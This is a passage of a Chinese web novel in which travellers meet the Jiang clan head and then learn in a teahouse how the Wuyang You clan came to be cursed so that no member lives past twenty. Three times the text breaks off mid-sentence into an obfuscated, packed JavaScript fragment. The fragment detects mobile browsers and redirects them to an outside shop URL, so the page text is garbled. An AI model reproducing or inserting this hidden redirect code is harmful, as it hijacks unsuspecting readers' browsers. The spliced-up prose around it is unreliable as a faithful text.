花蕊默默放下了她捂着祝源嘴巴的那只手。 祝源一动不动,大气都不敢出。 窗外的雨依旧很大,稀里哗啦的声音充斥着所有人的耳朵。 “茶、茶泡好了,大公子。”一个丫鬟迈着谨慎的小碎步走到了姜景和的身旁。 姜景和正尴尬着,忽然听丫鬟说茶泡好了,赶忙给自己找台阶下,满脸堆笑道:“那我们先喝茶,不然茶凉了就不好喝了,哈哈哈哈先喝茶、喝茶……” “行,喝茶。”陈渊龙后退几步让到一旁,给窗前的几人腾出了走向茶桌的位置。 实话实说,乔天璇确实渴了。她迈步走向了茶桌,身旁的洛侠、花蕊、祝源连忙都跟着她一齐向茶桌走去。 陈渊龙的目光紧随乔天璇,转身走向了茶桌。 姜景和急忙揽着叶天芯跟上了陈渊龙,妇人依然紧随其后。 然而,大家来到了茶桌旁却无一人坐下。 丫鬟已经按人数给每个人都斟好了茶,乔天璇拿起一盏茶吹了吹,小口品了一下。 可她对茶道并不精通,只是觉得口中的茶特别清香。 其余人也接连饮下了各自茶盏中的茶水。 姜景和看到大家虽然没有坐下,但都很给他面子地喝了茶,神色顿时轻松不少。 乔天璇把见底了的茶盏放回到茶桌上,转身回到了窗边,望着窗外被雨变得朦朦胧胧的院子。 花蕊喝完茶后也放下茶盏走到了乔天璇的身旁,犹豫道:“天璇姐姐,你要给乔家报仇吗?” 雨声把花蕊的说话声遮掩了不少,也不知茶桌那边的几人有没有听到花蕊所说的话。 想到死于乔家灭门之事的姑姐乔悦儿和护卫凌风,乔天璇点头道:“要的,若是有机会的话。” 花蕊难为情道:“我是真没想到天璇姐姐居然是世家大小姐,从前我只在书呆子家中的一本书上看到过关于九宸国七大世家的介绍。” 乔天璇满不在乎道:“没事,世家大小姐这个身份对我来说其实意义不大,你大可不必把这件事情放在心上。” 于乔天璇而言,乔家大小姐这个身份就像困住她的一个枷锁,其他人但凡在知道了她的身份之后几乎都难以再把她当寻常姑娘来看待。而淮南乔氏早已灭门,她似是淮南乔氏唯一遗留的火星子,可是火堆没了,她这颗火星子只能无力地飘散在空中,又不像蒲公英那样能够随风落地生根。火星子虽然比蒲公英耀眼,但如果没有落到可燃的东西上,甚至还遇上了大雨,那就是烟消云散的下场。 此时,茶室外突然响起了敲门声。 “和儿?和儿!” 男人的声音在门外响起。 姜景和立马收回揽着叶天芯的手臂,神色不安地走到门前打开了门。 “爹?您怎么来了?” 乔天璇当即心头一紧,转头望去,见到了一位家主打扮的中年男子走进了茶室,身后还跟着一个为他撑伞的小厮。 看来这就是姜景和的父亲,姜家的家主了。 头一次见到除了自己父亲以外的世家家主,乔天璇不由得有些紧张。 姜家家主走进茶室中,扫了一眼茶室中的所有人,笑道:“哟,和儿带着这么多朋友来茶室喝茶啊?” “是啊,爹。”姜景和估计是方才的尴尬劲儿没过,他的语气中还残留着一丝尴尬。 小厮在收好伞后把伞靠在了门外,快步跟到了姜家家主的身后。 姜家家主注意到了茶室内的乔天璇、花蕊、叶天芯,疑惑道:“和儿是一下子纳了三个妾吗?” “不是不是不是!”姜景和慌忙否认,他心虚地看了陈渊龙一眼,赶紧跑到了叶天芯的身旁,又一把揽住了叶天芯,道:“爹,我只纳了一个妾!” “那她们呢?”姜家家主望向了窗前的乔天璇和花蕊。 姜景和连忙解释:“她们是我的朋友!只是普通的朋友而已!” “哦……原来都是和儿的狐朋狗友啊。” 说着,姜家家主又望向了陈渊龙、洛侠、祝源三人。 “爹!看这位!这位是叶天芯的母亲!”姜景和在听到自己父亲口中的“狐朋狗友”一词后眼神都惊慌了起来,只得立马想办法转移自己父亲的注意力。 “看到了。”姜家家主瞅了一眼妇人,又把目光移到了叶天芯的身上。 陈渊龙倒是对“狐朋狗友”这样的形容没什么反应,似乎并不在乎,反而对姜家家主行礼道:“见过姜家家主。” 祝源连忙有样学样,也向姜家家主行礼道:“见过姜家家主。” 洛侠只是行礼,并没有说话。 乔天璇也跟着洛侠一起行礼。 花蕊见到乔天璇行礼了,她自然也做了个行礼的动作。 见状,姜家家主高兴道:“哎不用客气!既然你们是和儿的朋友,那就是我们姜家的朋友。日后若是有什么需要我们姜家出手帮忙的地方,大可直接跟和儿提就是了!” 陈渊龙道:“多谢姜家家主好意。” 姜家家主瞧了一眼茶桌上几个见底了的茶盏,道:“茶的味道如何?” 陈渊龙道:“不错,清香甘甜,十分润喉。” “好评价!”姜家家主很是满意。 他在茶室里了转了一圈,坐到了茶桌的主位上,道:“倒茶。” 茶桌边的丫鬟赶紧给姜家家主倒茶。 “停,不是让你倒。”姜家家主的目光落到了姜景和的身上。 “是。”丫鬟立马退到了一旁。 姜景和虽然有些不情愿,但他还是走到了父亲身旁,给父亲倒起了茶,并将倒好的茶恭敬地放到了父亲面前。 随后,姜景和在茶桌边站直了身子,低着头,一言不发。 姜家家主拿起面前的茶盏,对着茶水轻轻吹了一口气,先是小口抿了抿,随即一饮而尽。 “再倒。”姜家家主把手中见底了的茶盏放到了茶桌上。 “好。”姜景和赶忙往茶盏中倒茶。 倒好后,姜家家主拿起茶盏,再次对着茶水轻轻吹了一口气,不过这一次他把茶水直接一饮而尽。 叶天芯不安地站在姜景和身旁靠后一些的位置。 整个茶室中除了倒茶和喝茶的声音之外,只剩下从窗外传来的雨声。 喝完第二盏茶的姜家家主分别仔细打量了乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025626|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天璇几人一番,从陈渊龙看到洛侠,又从洛侠看到祝源。再转头看了看窗边的乔天璇和花蕊,忽地一笑,意味深长道:“和儿,你这次带回家里来的这些狐朋狗友比你之前交的那些要好看很多啊,特别是窗边的那两个姑娘,真是漂亮。” “父亲说得是。”姜景和连连点头。 “来来来,不用客气,坐嘛!”姜家家主对着乔天璇几人挥了挥手。 陈渊龙面无表情地坐到了距离姜家家主右边最近的位置。 洛侠走到了另一边,坐到了距离姜家家主左边最近的位置。 祝源见花蕊没有去坐茶椅的意思,他便也没动。 乔天璇心觉有趣,她大摇大摆地走到了茶桌主位对面的位置,与姜家家主相对而坐,满眼无畏。 “哈哈哈哈哈哈有意思!姑娘一看就是个有脾气的人!”姜家家主见坐在他对面的乔天璇似乎毫不在意他世家家主的身份,只当他是个普通人。 乔天璇嘴角勾起一笑,道:“多谢夸奖。” 姜家家主哪里想得到乔天璇居然把自己对她说得话当成了夸奖,神色微微一僵,连忙转移话题,对丫鬟道:“给客人倒茶。” “是。”丫鬟赶紧按照姜家家主的吩咐分别给坐在茶椅上的乔天璇、陈渊龙、洛侠倒茶。 乔天璇拿起刚被斟满茶的茶盏闻了闻,感受了一下茶水的清香便将茶盏放下。 姜家家主见乔天璇没有喝茶,疑惑道:“姑娘怎么不喝?” 乔天璇道:“太烫了,等会儿。” 姜家家主道:“敢问姑娘芳名?” 乔天璇道:“云天,三侠行客之一。” “三侠行客?!”姜家家主当即一怔,猛地望向了站在一旁的姜景和。 姜景和赶紧道:“是啊,她就是救了表弟的那个云天女侠。” 姜家家主不可置信地再次看向了乔天璇。 乔天璇依旧还是方才那副表情。 “感谢云天女侠对我外甥的救命之恩!”姜家家主忍不住起身道谢,刚刚他对乔天璇表现出的那种轻浮之意一时间荡然无存。 乔天璇望向了窗边的花蕊,道:“那边的姑娘是玉心女侠,你外甥的命能被保住也有她的一份努力在里面。” 姜家家主连忙望向了花蕊。 花蕊听到乔天璇如此介绍她,顿时神气道:“没错!那只藤妖的头还是被我给砍下来的!” “感谢玉心女侠对我外甥的救命之恩!”姜家家主对花蕊也道了谢。 乔天璇道:“既然姜家家主这么感谢我们,那不知姜家家主能否满足我们的一个心愿?” 姜家家主看向了乔天璇,激动道:“什么心愿?你们尽管提便是!” 乔天璇道:“姜家家主,我希望你能对你儿子新纳的妾叶天芯好一些。如若可以,请你们给予她姜大公子之妻的待遇。” “这……”姜家家主的目光缓缓落到了叶天芯的身上。 叶天芯在听到乔天璇为她说话时顿时一惊,满眼不可思议。 妇人也十分震惊,眼睛睁得圆圆的。 “好办好办!既然这是云天女侠提出来的,那便按照云天女侠说的来做!” 说罢,姜家家主飞快地对姜景和使了一个眼色。 姜景和立马会意,赶紧点头道:“好!我日后定会给予她妻子的待遇的!” 乔天璇道:“跟我说可没有用啊姜大公子,你还是对着叶天芯发誓吧。如若食言,天打雷劈的那种。” “哦哦哦!”姜景和连忙看向了叶天芯。 叶天芯也看向了姜景和。 “芯儿,我日后定会给予你妻子的待遇的!如若食言,天打雷劈!”姜景和说得很认真,随即他又补充道:“有了你,我便不娶妻了。” “……” “……好!”叶天芯的眼中既有惊喜也有期待。 姜家家主的眼中闪过一丝惊诧,但他立马就释然地笑了起来。 乔天璇望着窗外,见天既没有打雷,也没有闪电劈下来。 雨势终于开始逐渐减小了。 52. 家族诅咒(一) 雨停后,姜家家主和姜景和亲自送乔天璇一行人出了姜府。 与姜家人道完别,乔天璇一行人便向着武阳尤氏的方向北上。 武阳尤氏全族人活不过二十的家族诅咒和尤三花的事情在乔天璇的脑海中挥之不去,再加上尤远生这个同窗命不久矣了,乔天璇还是想在他去世之前能再见上一面。 离开了柳叶镇,眼前所见的一切明显都没有那么繁华了。 在经过树林子时能偶尔看到盛开的蝴蝶花,乔天璇不由得一下子又回想起了尤三花。 虽然与尤三花相处的时间很短,但亲眼看着一个对一切都充满了期待的姑娘被迫在短暂的欢乐后死于早晨明媚的阳光下,她无能为力、无可奈何,旁观者亦无能为力、无可奈何。乔天璇从前哪里见过这样的事情?有时候乔天璇甚至觉得尤三花的死很不真实,像是一场可怕且诡异的梦。 大家许是都受到了尤三花的影响,在前往武阳尤氏的路上,乔天璇能明显感觉到气氛沉闷了许多。 越往北走,地势就越平缓,种稻谷的田地也逐渐比种水稻的田地多了起来。 这日,乔天璇一行人在经过一片特别大的稻田之后,终于步入了武阳尤氏的地界。 此地街道两旁的铺子不像琅琊姜氏地界的铺子那般几乎全都敞开着大门。除了专门卖早点、熟食之类的铺子,其余的铺子都需要客人自己推门进去。 “云天,你知道去往武阳尤氏府邸的路该怎么走吗?”花蕊悄悄在乔天璇耳边问了一句。 乔天璇偏过头小声道:“不知,我去找个人问问。” 花蕊疑惑道:“找谁啊?” 乔天璇四下望了望,发现街上的行人虽多,但大多都行色匆匆,看起来忙得很,若是贸然去问路,怕是会耽误了被问之人的时间。 乔天璇边走边观察着适合问路的人选,在经过一家烧饼铺子时,乔天璇心生一计,对身旁的花蕊道:“你想不想吃烧饼?” “想!”花蕊想都不想就答应了。 “好。”乔天璇正准备走向烧饼铺子时,祝源抢先一步跑到了烧饼铺子前,道:“老板,买一个烧饼。” “哟,源兄的反应挺迅速嘛。”乔天璇连忙赶到了祝源的身旁,对正在把一个烧饼往纸袋里装的老板道:“老板,你知道去武阳尤氏府邸的路该怎么走吗?” 老板瞧了一眼乔天璇,又看了一眼祝源,意味深长道:“二位要去武阳尤氏的府邸?” 听着老板的语气,乔天璇心中忽觉不妙,赶紧故作无奈地补充道:“唉……我有一个朋友说他住在武阳尤氏府邸的旁边,也不知是真是假。这次来到这儿了,我就想着去找找他,可是他从来没有明确地说过他的住址,我就只能碰碰运气了。” 闻言,烧饼铺子老板整个人顿时放松了不少,乐道:“原来是想找朋友啊?武阳尤氏的府邸离这儿还有十里远,你们一直往北边走,在见到一个寺庙时向东拐,继续往前走一段,可以看到旁边有一个很大的园林,那是武阳尤氏的园林,名叫‘不朽园’。之后你们一直沿着不朽园的围墙走,围墙有拐弯的地方你们也跟着一起拐弯,不多时就能走到武阳尤氏的府邸了。我猜姑娘的朋友许是住在不朽园围墙的对面,所以他才会说自己住在武阳尤氏府邸的旁边,姑娘可以多留意一下不朽园围墙对面的那些房子。” “多谢老板。”乔天璇心中有了底,转头看到花蕊已经跟到了自己身旁,估计也听到了方才烧饼铺子老板指的路。 “哈哈,多大点事儿啊。”烧饼铺子老板早已把装好在纸袋中的烧饼递给了祝源。 乔天璇转身就走,发现陈渊龙和洛侠都在自己的身后。她这一走,直接就穿过了陈渊龙和洛侠中间的空隙。 花蕊立马跟上了乔天璇,她眼疾手快地从祝源手中拿过烧饼,绕过陈渊龙和洛侠,先一步赶到了乔天璇的身旁。 陈渊龙立马快步赶到了乔天璇身旁的另一边,让洛侠只能跟在乔天璇的身后。 乔天璇依旧不待见陈渊龙,她特意靠紧了花蕊,一手揽住花蕊的肩膀,道:“烧饼的味道如何?” “还不错。”花蕊嚼了嚼口中的烧饼,微微一点头。 “那就好。”乔天璇揽着花蕊,按照方才烧饼铺子老板所说的路线往前走。 在路过一个寺庙时,乔天璇当即向东边的路拐去。 寺庙的香火很旺,香客络绎不绝。 又往前走了一段路后,果然看到道路一旁有一个很大的园林。 花蕊吞下了口中的烧饼,道:“不朽园。” 乔天璇望了望不朽园中许多高出了围墙的树木,又放眼望向长长的围墙,感叹道:“居然建了这么大的一座园林,真有钱。” “嗯,这么大的地方,若是他家不占着,能住很多百姓呢。”花蕊吃着烧饼,含糊不清地说着。 “嘘。”乔天璇赶紧让花蕊别再说了。 按照烧饼铺子老板的说法,一行人沿着不朽园的围墙往前走去。 道路另一旁的确有很多房子,但乔天璇对烧饼铺子老板说的那个朋友是她现编的,根本就不存在,她自然也没怎么注意道路另一旁的那些房子。 许久之后,乔天璇终于看到了武阳尤氏的府邸,花蕊手中的烧饼也早已被她吃完了。 “到了,到了!”花蕊喜出望外。 不朽园着实是太大了,回想起烧饼铺子老板说他那儿离尤府还有十里远,乔天璇觉得光是方才几人沿着走过的不朽园围墙就占了其中的七里。 守在尤府大门口处一左一右的两个守门人见乔天璇一行人朝着这边来了,当即齐声道:“来者何人?” 陈渊龙不紧不慢地从怀中掏出了太子令牌,面无表情道:“我想来看看昔日的伴读。” 两个守门人见到了陈渊龙手中的太子令牌,脸色顿时一片煞白,慌忙给乔天璇一行人开了门。 其中一个守门人浑身颤抖道:“太、太子殿下,我、我来给您引、引路吧?” 陈渊龙收回了太子令牌,道:“嗯,带我去见尤远生。” “是!”守门人赶紧走到了前头引路。 武阳尤氏是九宸国七大世家之一,尤家的府邸自然也不会差到哪里去。 在经过尤府中的长廊、青石板过道等地方时,乔天璇总是能见到地砖上或草地上散落着一些各种颜色的珠子,不由得问了一嘴:“怎么到处都能见到地上有散落的彩色小珠子?” 花蕊附和道:“对啊,我也注意到了。” 走在前面引路的守门人道:“这些小珠子是家主的小侄女和府内的其他小孩一起特意布置的。他们说这些小珠子很好看,想让小珠子散落在府内各个地方,特别的是过道两旁。” “怪不得。”乔天璇了然。 花蕊弯下腰,眼疾手快捡了一颗黄色小珠子,边走边捏着玩。 乔天璇瞅了一眼花蕊手中的黄色小珠子,见这颗小珠子只有绿豆般大小,不断地闪着彩光,不禁猜测道:“这些小珠子是宝石做的吗?” 走在前面引路的守门人道:“对,都是用次品宝石做的,给孩子拿来当玩具。” “好有钱啊……”祝源暗声惊叹。 “的确。”乔天璇深表赞同。 即便是次品宝石,那也是寻常百姓难以购得起的奢侈之物。而武阳尤氏的孩子却将其制成的小珠子大把大把散落在尤府内各个地方当装饰品。武阳的小偷若是知道此事,那他们光是溜进尤府里捡小珠子都能发家致富了。 约莫半刻钟后,守门人便带着乔天璇一行人来到了家主的房间外。 守门人轻轻敲门,道:“家主,太子殿下大驾光临。” “……” 房间安静了一瞬。 “家主?”陈渊龙若有所思。 乔天璇也有些惊讶,尤远生居然十九岁就当上家主了。 不过转念一想,这在武阳尤氏应当是再正常不过的事情了。或许尤远生在他十五岁那年就已经当上家主了也不无可能。 毕竟尤三花曾说过武阳尤氏的男孩到了十五岁便可参与到家主之位的争夺当中,而尤远生仅凭借自己给太子当过伴读的经历怕是就能让家族中无数对家主之位垂涎的竞争对手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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十张树墩子凳子围了巨树竖截面桌子一圈,主位自然便是尤远生的位置。 乔天璇为了不让陈渊龙坐到自己的对面,她故意坐到了主位的对面。 见状,陈渊龙脸色一沉。 他哪个位置都不坐,站在原地一步也不挪动。 尤远生见陈渊龙不坐,他只好也不坐。 “太子殿下,真没想到您居然还会想到来看我这个昔日的伴读。当年我坐在您那一列的最后一排,实在是不起眼且不值一提。” “我从前居然不知武阳尤氏还有这样的家族诅咒。”陈渊龙有些自责。 “尤家的家族诅咒本就只流传于武阳,别的地方一般来说鲜少有人知晓,太子殿下不必自责。”尤远生面露无奈之色。 陈渊龙道:“武阳的人都不往外传这件事吗?” 尤远生摇了摇头,道:“不知,许是武阳的人鲜有往外地跑的,基本上都世世代代生活在武阳,尤氏家族诅咒的事情自然就不怎么会往外传了。” 陈渊龙道:“原来如此,那你是在今年当上家主的吗?” 尤远生点了点头:“对,今年年初时,上一任家主刚满二十岁就去世了,我被迫顶上。族中现在只有我的年龄适合当家主,我下面年纪最大的弟弟也才十四岁,至少得到明年才能到当家主的年纪。” 闻言,乔天璇恍然大悟。 没想到尤远生是赶鸭子上架被迫当的家主,压根就没有经历家主之位的竞争。 “砰!!!” 听到突如其来的撞击声,屋内所有人都下意识转头望了过去。 “哒、哒、哒、哒、哒……” 伴随着声音的响起,一个球撞开了房门,节奏越来越急促地弹进了屋内,一路滚到了陈渊龙的脚边,撞了一下陈渊龙的靴子。 陈渊龙:“……” 乔天璇脑子一懵。 哪儿来的球? 53. 家族诅咒(二) “少爷,都说了不要在你父亲这儿玩球,很容易把球踢到屋子里面的啊!”屋外传来了一个丫鬟焦急的声音。 “少爷?你儿子?”陈渊龙看了看脚边的球,又看向了尤远生。 尤远生赶忙解释:“是啊,他才刚满三岁,太顽皮了,还望太子殿下原谅。” 话音刚落,一个三岁小男孩便连滚带爬地从门外跑进了屋内。 “续儿,你又调皮了。”尤远生居高临下说了儿子一句。 “爹爹!球球!”续儿直奔陈渊龙脚边的球而去。 看到昔日的同窗如今都有孩子了,乔天璇心中不禁感慨原来只需几年时间就能让旧友有许多令自己意想不到的变化。 仙落岛上无忧无虑的生活让乔天璇忽略了时光的流逝,尤其是身边有洛侠、花蕊一直陪着,这让乔天璇下意识有种一切都不会变,自己能够永远这样安逸快乐地生活下去的想法。 毕竟仙落岛于乔天璇而言过于美好,如同一个天堂岛一般,让她像是暂时“脱离了凡尘”,不问世事变迁,恰如“天上一天,地上一年”的说法。待她“再入凡尘”时,才会感叹原来一切早已不复当年。 就像现在,乔天璇突然亲眼看到昔日的同窗尤远生抱起自己儿子的画面,她才猛然意识到时光飞逝,很多人和事在自己觉得时间“静止”了的这几年早已发生了天翻地覆的变化。 “爹爹!”续儿抱着球,口齿不清地唤着尤远生。 “家主,是我没有照看好少爷。”丫鬟跪在了房门前,神色忐忑不安。 乔天璇注意到丫鬟的一只手上还拿着一个拨浪鼓,应当是用来哄续儿的。 尤远生道:“起来吧,不是你的错。” “是。”丫鬟连忙站起了身。 “哇——哇啊——哇啊啊啊啊啊哇啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊——!” 续儿突然毫无预兆地大哭起来。 抱着续儿的尤远生赶忙像摇摇篮那样摇晃着怀中的孩子,声音轻柔地哄着。 丫鬟则快步跑到了怀中抱着续儿的尤远生身旁,不停地转动拨浪鼓让续儿转移注意力,口中连连安慰道:“好了好了不哭了,少爷乖,少爷最乖了,乖孩子是不会大哭大叫的哦。” 然而,续儿抱紧了球,哭得愈发大声,时不时还伴随着一声尖叫。 陈渊龙也在尤远生身旁,听着续儿刺耳的哭声,他忍不住哄了一句:“别哭了。” 只是陈渊龙大概从来都没有哄过大哭大闹的小孩,表情明显有些无措。 三岁小男孩的哭声震耳欲聋,哭得乔天璇感觉自己的耳朵都已经耳鸣,脑袋都快要炸开来了。 她可没有任何想去哄续儿的心思,现在的她只想立即逃离这个三岁小男孩哭闹尖叫不止的地方。 忍无可忍,无须再忍,乔天璇当即起身逃也似的奔出了房门。 洛侠、花蕊、祝源连忙跟上了她。 见乔天璇逃也似的离开了,陈渊龙登时急了。他立马对尤远生道了一句“你忙你的,告辞”之后就头也不回地出了房门去追乔天璇。 “太、太子殿下?太子殿下!”尤远生无助地望着陈渊龙跑远的身影,双手依旧不忘像摇摇篮那样摇晃着怀中还在哭闹尖叫的三岁儿子。 既然已经知晓昔日同窗的现状,乔天璇心中的不安也消减了不少。 她毫不犹豫地原路返回。 “我们接下来要离开尤府吗?”花蕊疾步赶到了乔天璇的身旁。 乔天璇肯定道:“当然!我要马上出去走走散散心!” 花蕊连忙附和道:“嗯嗯好!” 洛侠赶到了乔天璇身旁的另一边,道:“徒儿想去哪儿散心?” 乔天璇回想了一下来尤府的路,道:“不朽园对面的那些房子我在来的路上没怎么注意。” 洛道:“好,那就去那些房子前面的路散散心。” 祝源跟在三人后面,气喘吁吁道:“等、等等我……” 花蕊转头看了祝源一眼,毫不客气道:“书呆子,走快点!” 陈渊龙很快也赶到了乔天璇的身后,他一句话都没有问,只是一直跟着乔天璇快走,一路走出了尤府的大门。 终于出了尤府,乔天璇浑身都放松了下来。 这一次,大家没再沿着不朽园的围墙走。 不朽园对面的那些房子既有瓦房也有茅屋,大多都很安静,一直到距离尤府远了,才逐渐有了做生意的铺子,客来客往,热闹了些许。 在走到一家茶馆前时,花蕊扯了扯乔天璇的衣袖,眼巴巴地望着茶馆,道:“青色饼茶。” 乔天璇一听就知道花蕊又嘴馋了。 她转头望向茶馆,登时一愣。 这茶馆一瞧便知是个老茶馆了,墙壁和顶上的瓦都十分陈旧,磨损和掉漆一样不少。要不是花蕊嘴馋,乔天璇经过这茶馆时压根就不会转头去看。 透过茶馆的琉璃窗,乔天璇见到茶馆内有好几位客人在吃一种看起来只有半个巴掌大的的青色茶饼。 “好,想吃就去吃。”乔天璇当即拉着花蕊走向了茶馆,一手推开了茶馆的大门,落座了一张空桌子,与花蕊坐在同一条板凳上。 洛侠本就走在乔天璇的身旁,他立马就坐到了乔天璇另一边的板凳上。 祝源一如既往坐到了花蕊旁边的板凳上。 陈渊龙自然而然坐到了乔天璇对面的板凳上。 茶馆的伙计见到一下子来了五位坐满了一桌的客人,立即满脸欢喜地赶到了桌子旁,道:“不知几位客官想点些什么?” 乔天璇道:“要一碟你们茶馆的青色茶饼,再要一壶碧螺春。” “得嘞。”伙计立马转身去了后厨。 茶馆中的说书先生正说得起劲儿,忽见又来了五个客人,顿时说得更加卖力了:“说话在这之后,尤家为了修建不朽园,他们除了大量招揽武阳本地的人去干活,还不断地劳役那些只是为了混一口饭吃的外地人。” “不朽园,劳役?”乔天璇立马来了兴趣。 陈渊龙也被“劳役”二字吸引,转头望向了说书先生。 然而,接下来听到的一切都让乔天璇一行人对武阳尤氏一百年前那辈人的所做之事感到极度的嫌恶。 据说书先生所讲,一百年前的尤家为了让干活的人安心,他们给出的工钱非常可观。只不过干活的时间很长,一日十二个时辰,干活的人要足足干够六个时辰才行,并且全年只有过年才会放三日假。 当然,既已知晓修建不朽园很累,但还是贪恋可观的工钱,仍旧想在尤家的地方干活,那就要签一纸内容基本上可以概括为“吃人”二字的书契,最少都得干够一年。一年后可以续约,中途若是想要解约,就得给尤家一百两银子的解约金! 还有,干活期间要是无故请假一日,就会被扣掉那一整个月的工钱! 现在武阳有不少人的前辈就签过那“吃人”书契,修建过尤家的不朽园。而在干活的那些年里,不少人的前辈因修建不朽园被累驼了背,累弯了腰。有的前辈甚至为了不违约,直接被活活累死了。 干活累死了人,对一百年前的尤家人来说好像并不算什么了不得的大事。他们会把累死的人的尸体扔到那人的家门口,让那人的家人自行处理。如若累死的是外地人,在武阳没有家人,那尸体就会被尤家人随便找个地方埋了。墓碑没有,纸钱也没有。毕竟在他们的书契里有一条特别不显眼的规矩,叫“累死概不负责”。 听到这里,乔天璇已经快要听不下去了。 虽说工钱可观,但这未免也太苦太累太惨了吧? 茶馆内的客人们亦是连连摇头。 乔天璇见到有好几个客人估计是已经听过无数遍这件事情了,他们的神情已经麻木,但却仍旧默默地听着。 奇了怪了,如此令人难受的事情是怎么成为茶馆中说书先生说得这般嘴熟的故事的?难道武阳的人就偏好这种苦巴巴的事情? 此时,伙计将青色饼茶和碧螺春都端了上桌,为五个人都倒了一盏茶,道:“客官慢用。” 花蕊拿起一块青色茶饼咬了一大口,顿时两眼冒光,高兴道:“好吃!” 乔天璇也拿起一块青色茶饼尝尝,觉得味道不错,肯定道:“的确好吃。” 祝源好奇地拿了一块青色茶饼吃了起来,立即和花蕊一样两眼冒光。 “师父,尝尝?”乔天璇给洛侠拿了一块青色茶饼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和巫神教少主一起被扔来的还有两个也是在修建不朽园时被累死的人,他们都是这座山里的山民,因为不识字,看不懂“吃人”书契,懵懵懂懂地签了约,结果身子根本受不了每日六个时辰的劳作,其中一个人先巫神教的少主一步被活活累死,另一个人后巫神教的少主一步被活活累死。 巫神教女魔头从山民那里听到了这个消息,赶忙前去认尸。 在看到自己那被活活累死的儿子时,她怒极而泣。 她是女魔头,所做之事自然会比寻常人要出格许多。为了惩罚武阳尤氏,她毫不犹豫地以自己一半的寿数为代价,让武阳尤氏从此以后世世代代全都折寿,诅咒他们全族人到了二十岁就死,永远活不过二十。 此事本来只有巫神教所在的那座山的山民知道,后来又从下山卖山货的山民口中传到了山下村民的口中,接着又传到了镇子上,最后一路传到了尤府人的耳中。 此时,尤府中正在互相推卸责任,胡乱栽赃,谩骂不止的家眷们顿时都明白了尤府中根本就没有发生什么大规模的谋杀,而是遭到了女魔头对整个尤家的诅咒。 就在巫神教女魔头诅咒武阳尤氏的那一天,武阳尤氏二十岁以上的族人突然全部倒地去世。 从此以后,武阳尤氏便有了全族人都活不过二十的家族诅咒。 说书先生一说完,茶馆中的客人们爆发出了一阵响亮的鼓掌声,叫好声不断。 “好!好!讲得好啊!” “该!自作孽不可活!” “原来如此。”乔天璇终于明白了茶馆中的说书先生为何会乐此不疲地讲这个故事,听众们也为何会乐此不疲地听这个故事了。原来结局竟是武阳尤氏自那以后全族人都活不过二十,当真是大快人心! “真没想到武阳尤氏的家族诅咒居然是这样来的。”花蕊吃着青色茶饼,说得口齿不清。 “真是万万没想到啊,当真是……”祝源将一盏茶一饮而尽,似乎又要开始吟诗作对。 花蕊连忙伸出一只手捂住了祝源的嘴巴,塞了满嘴青色茶饼的她含糊不清道:“不许吟唱!” 刚咽下一盏茶的祝源:“???” 54. 家族诅咒(三) 乔天璇饮完了自己的那盏茶,看着茶馆中兴奋的听众们,心情十分复杂。 虽然武阳尤氏被巫神教女魔头诅咒后全族人世世代代都活不过二十这件事对被尤家人劳役的人来说大快人心,但武阳尤氏无辜的后人却要因此全都无法活过二十,如尤三花那般,无可奈何地倒地死去。像尤远生那样,孩子明年就四岁了,他身为孩子的父亲,却要因为家族诅咒而在明年去世,孩子也将要在四岁失去父亲。 陈渊龙望着说书先生,暗声道:“武阳尤氏的人就没有去巫神教找过那个诅咒他们家族的女魔头求情吗?” 然而,茶馆里其他客人们兴奋的议论声遮住了陈渊龙的声音,乔天璇这一桌距离说书先生也不近,说书先生并没有听到陈渊龙的疑惑。 但旁边一桌的人听到了。 一个中年男子对陈渊龙道:“年轻人,巫神教可不是能随便去的地方呐。巫神教所在山头的山民说他们每家每户每年都得在大年初一的晚上把织好的三匹布放置在家门口,好让那巫神教教众来‘抢’,要不然巫神教教众会在这一整年天天唆使乌鸦来叼走东西,让人不得安生。即便与巫神教互为邻居,山民们也不敢轻易去巫神教,打猎都得特意绕着巫神教打,要不然很可能一个不小心就闯进了巫神教的巫神大阵中,被各种法阵和恶宠搞死!更别说不是与巫神教互为邻居的人了。见你不面熟,问都不问便直接打死。武阳尤氏自知理亏,哪里敢去巫神教啊?” 陈渊龙面无表情道:“巫神教所在的山头在哪里?” 中年男子见陈渊龙就像是没有听到自己方才说的那些关于巫神教的话似的,丝毫不惧,无奈道:“年轻人,你要是真的想去,那就从沿溪街一直走到清溪村,再上到清溪村后面的那个山头,巫神教就在山的深处。但具体的位置我也不太清楚,要问一下山民。可别怪我没有提醒你,保命要紧啊!” 陈渊龙道:“多谢。” 中年男子叹了一口气,转回头去喝茶了。 陈渊龙对乔天璇道:“我们去求求情,看看能不能让她赦免一个人。” “续儿他爹吗?”乔天璇一下子就猜出了陈渊龙的想法。 “嗯。”陈渊龙点了点头。 乔天璇道:“那地方如此危险,我怕会有去无回。” 陈渊龙道:“我护着你。” 乔天璇不屑一笑。 “你护着我?那女魔头发起狠来可是会以自己的寿数为代价来诅咒人的,你打算怎么护我?” 陈渊龙道:“实在万不得已,那就将其杀了。” 